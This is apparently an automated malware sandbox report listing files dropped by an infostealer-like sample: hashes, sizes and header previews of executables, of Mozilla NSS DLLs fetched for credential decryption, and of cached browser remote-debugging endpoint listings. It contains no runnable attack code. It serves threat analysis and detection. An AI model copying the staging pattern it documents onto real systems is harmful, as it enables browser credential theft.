C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ac472d9e-1adb-449f-9be1-99f5e47abe4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46408
Entropy (8bit):	6.08733897962532
Encrypted:	false
SSDEEP:	768:CMkbJrT8IeQcrQg79Outi1zNtv2mwEi8PDLbQQkHX1hcCioiJDSgzMMd6qD47u3l:CMk1rT8Hb9EL0THUFoitSmd6qE7Y
MD5:	49308F0582021CA05C8C25E6F299F65C
SHA1:	4275BE18EDCBB27CC7D6B082A021A84B2F83DBD7
SHA-256:	38132F111F423DCFEAC22AEA3F67F73BD91A5A651ADCDDD9FBFCD46203763D63
SHA-512:	7DDDBDE20A14AC6E4D45C18492151F5439F8EDC1D2B00A36C59B233DEC5C1668C82E4C48CB17DC94B1FF7DEE5795B8C94A49FB91EAB961BDC0BDE81A94B85BB9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376359661465606","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"592f6634-3894-452f-a0f1-e34c95a0456e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f197761d-1477-46b5-8f07-1b9d2e6ecbcc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8362937917542546
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx5Jxl9Il8uZcb2UONFNYKi4kc4Gzd1rc:muYPcbZOfO/4kcLU
MD5:	D5F8CD29D1EC9D93699A4100E16D6A87
SHA1:	BB3062FE161B879BA15A8ADD79214D44FBABCB23
SHA-256:	AD54FE106969C5B053148546B0A3000C46FDFF16CDA9CCEE047A4FAEAC535D34
SHA-512:	FCF87AFFBF0B8D0F90E6431B48AA7A631B5335E282E5A1AF357E2E71D47F41EC2EDD639384DFEFA8F70CE988DB265ADAFEBC8EB37AD4152AFB2A59599319D041
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.I.B.f.r.1.A.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.P.Z.B.F.N.Y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002261218620508
Encrypted:	false
SSDEEP:	96:mYPhy0ZJk8+J8eFadtg0HeqhhEFvmfEWYyLOKpk5ZHacj:m4rZJkYiadtzTOFv8rK5p1
MD5:	41D40F722682156DDF42D2B8CD6A6384
SHA1:	87CBDD06254304561209F4855B5732C841ACA874
SHA-256:	AE44C1835ACB29967CF74A2A4350E6B5B43C01019D2CC4E33891B756AC13B81A
SHA-512:	BAB497E94B98447117A6138573F3329E25F3CDF63132FEAEFFB6D85A16B6C1F47E8DFD3419C766418615A4457F05CF0744BE783B81AF7481113F267142BB95E4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".L.O.d.V.l.U.g.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.P.Z.B.F.N.Y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8987447321338076
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xtxl9Il8uZpEgf0xYIKO2N6sPnl3U69aB8urhZvG0d/vc:azYPN0x0FVU6YGudZvGd
MD5:	AD14E94E1E94E431735AD5D65211CA67
SHA1:	3D516166489A4EBFC4DC6A14317DD8C627116D0C
SHA-256:	4D16208902039FB3FFEA1F9AB0490A648B1CEA9FCB64C56A71A9B82B24FE9DA0
SHA-512:	AFAD29C3F41F898EB5AFD97B2B005380C69244F6376A81D2C25E1269DC5D0BEC7793F5C266B375F6AF0DC76149C31A28640CC8F31BD30BA4522FE1256BF53D6A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".m.K.F.A.x.R.l.Y.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.P.Z.B.F.N.Y.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.399386441888456
Encrypted:	false
SSDEEP:	96:6NnQGHQyNnQkbQ7NnQwT39QwgNnQddgEQ7xNnQYQ+NnQIVDQtNnQUwQsNnQtPo3I:6NdNCNXTtgNEIxNNNhmN7QN0
MD5:	A6645E4BB502618E0BC594CA886ED36A
SHA1:	F0438CD88F731B9CA2BDFD37B325061CA11EC10B
SHA-256:	8591BD12BD100BAD676B160976C538AEE42F863794C42C5FD5ADBA500CBAD7DE
SHA-512:	A73414523421EA7D91A93C6E683DD66D003DB1595EE251E116A04A17D85D609F89F06550E88A0C7AF0E7C49CADC8E0E45A5B236FD71B5CB1108E0C021858C8F5
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/88AC65DD2ADC3F13CBFCBD913FD9616D",.. "id": "88AC65DD2ADC3F13CBFCBD913FD9616D",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/88AC65DD2ADC3F13CBFCBD913FD9616D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/40C0A48FE3848B7FC50E5561E0B95DE9",.. "id": "40C0A48FE3848B7FC50E5561E0B95DE9",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/40C0A48FE3848B7FC50E5561E0B95DE9"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	671744
Entropy (8bit):	7.94805420960387
Encrypted:	false
SSDEEP:	12288:GBWHmwBHQkoTSawjDp1Z3ARRzAGcDX/OAoAOxLaf6v0ororWc:GBWVHQkoTSzrZ2RzArDX/OAXOx2f6v0Z
MD5:	DFED5F13FD766D24EA8F1A1703477092
SHA1:	7812FEB783B50CF4E106097BDCA7ED866275C266
SHA-256:	BFE9AB2DDA0DA7AADDFD8E47DA4C7374CD6A2B887DEE9EF2622C71F25A26E999
SHA-512:	5B0464A2209E8F137A7F189E37B2DC1D58986165CEF535DDA86DF3341AF2CAD78A3421F942895A65D407214635DB135A6DAD21A3FC246CBC1D6E984C053768E9
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............J...........@..........................@J.....].....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... .p*.........................@...wbetjsfk.....@0.....................@...mtdlaeim......J......H..............@....taggant.0....J.."...L..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.371567121480989
Encrypted:	false
SSDEEP:	48:SfNaoQhASTEQhafNaoQt4FQSfNaoQQRkR9QQRjfNaoQ4WyRR0UrU0U8Qm:6NnQBTEQkNnQt4FQ6NnQEY9QEbNnQcRd
MD5:	1E4BB43ABE9B7C10C7793322F1748038
SHA1:	D9569527D3F058E8152EBF74AD0B24A5E9FB4A1D
SHA-256:	5F5D66FFC25F1146CE03DE75C39E14A774C39CED9289608DA2BF00F15FE6C632
SHA-512:	58C76AF87249068CA2F6921A1C8E7D7DFDFF58904F9D2235445976ADF3DF040416F9E880FA84A367A85438B382856D3E43DA7DFA0F9269A7DAFBE974978E6DF0
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7A759BB5BF7C41A735DA615959B28A52",.. "id": "7A759BB5BF7C41A735DA615959B28A52",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7A759BB5BF7C41A735DA615959B28A52"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C3E31CD5E542E69A9667FE15C2582200",.. "id": "C3E31CD5E542E69A9667FE15C2582200",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C3E31CD5E542E69A9667FE15C2582200"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1950720
Entropy (8bit):	7.949870979216457
Encrypted:	false
SSDEEP:	24576:PpW+SGrIZFYyJVeh5rht1hADt2EpbioLJ2SCias/LjZxr5PW94PV0/MOJ47Ggl:BW+kje71wEEtXJ2LsjFu94907y
MD5:	9992A20ADD6571CE7C2B357B425E5445
SHA1:	A454D9BAA02DE82903CAEB14BE6F1B74F47FEB3D
SHA-256:	4FD36AD0A4B7187D3996709416A9E59558F8855248A54ABE6316D7C004C17AEB
SHA-512:	D7448C82FA25850AECCA0299638C03618443E14D91A2CD113936A54D85B30CBD95E47AE17AB65AC18055D65E95CA12E08C246DE28A7362BBF1E39783D7FCC38A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@..........................@M..........@.................................W...k.......H...................D.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...mqhmzwsw.....P2.....................@...pyhwalqc......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4426240
Entropy (8bit):	7.985692850235201
Encrypted:	false
SSDEEP:	49152:1QpCcR7YYRWP/P+zGLUsN6aCjJZy8zGmTGYJo0USVanngtC0YeXhAZpsNyFLcrCY:1eJYDPhbN69M8zGmX9zSgXY6AfMCI0Y
MD5:	3382492D63AFA8096A084F3E4F87ECE9
SHA1:	3F7D35981AF4DD424BD103B8FEFF31F989B05B36
SHA-256:	7650B82FD2AE7782B10AE77260EE7CE75F0A01D49BD43E9F5FACDFD9F84D6174
SHA-512:	EE4C1C771AAEE761FA842EB8505826EDFDBDCBC060989C2D2D7BF158A6714B0A78841E5D771ABAA3E54CF8C6C89B2BC4DBBBD90AD0035CD61124C922F8CB8A16
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2............H...@..................................C...@... ............................._pe.s................................................................................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... . 9...e......~'.............@...ajfpzkcv..............'.............@...jiiwuvjb.............dC.............@....taggant.0......."...hC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4426240
